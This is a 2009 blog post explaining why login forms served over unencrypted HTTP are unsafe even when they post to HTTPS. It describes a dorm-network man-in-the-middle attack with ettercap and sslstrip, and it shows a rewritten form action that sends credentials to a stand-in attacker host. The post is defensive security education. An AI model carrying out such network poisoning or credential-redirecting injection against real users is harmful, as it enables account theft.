Archive

Archive for July, 2009

HTTP POST -> HTTPS = Bad Idea®

July 20, 2009 6 comments

Update: fixed some grammar errors, added mention of firesheep.

This will be a quick post (pun intended) on why you should never allow anything sensitive to be sent from an unsecured page to an SSL-encrypted page. Many, many websites do this (Digg & Facebook quickly come to mind), and it’s a serious problem that has an easy solution.

When a user logs into a service, she has a reasonable expectation that her credentials will be secured in transit. In the context of web applications, this means SSL/TLS.

A typical Facebook login goes like this:
1. Adam requests http://www.facebook.com
2. Facebook sends a response containing:

<form method=”POST” action=”https://login.facebook.com/login.php?login_attempt=1″name=”menubar_login&#8221; id=”menubar_login”>

3. Adam enters his credentials and hits Login.

The problem: How does Adam know that the login form he intends to submit to facebook.com is actually destined for facebook.com? As stated in step 2, facebook.com should have returned HTML that instructs Adam’s browser to POST to an SSL-secured page at login.facebook.com.  What kind of assurance does Adam have that this is the code he received?

Consider the following scenario: Mallory uses something like ettercap (or firesheep) on her university’s dorm network: she poisons the subnet traffic (her entire dorm building), tricking her fellow students’ to send all Internet-bound traffic through her computer.

Mallory then uses Moxie Marlinspike’s sslstrip to automate an attack against Facebook. sslstrip will replace facebook.com’s response from step 2 with something like:

<form method=”POST” action=”http://www.attacker.com/”&gt;

Unless Adam looked at the source code of the alleged response from facebook.com, he would be unaware that his credentials were actually going to be send to Mallory’s malicious web host.

After harvesting the credentials, Mallory continues employing sslstrip to make (possiblly SSL-secured) page requests on Adam’s behalf, staying in the middle of the conversation and reading everything on the wire. Or she could just reset the connection, forcing Adam to legitimately log in. After all, she got what she set out for; why let Adam continue to consume her resources?

The solution:  Only offer login pages over SSL.  Pretty simple.

Advertisements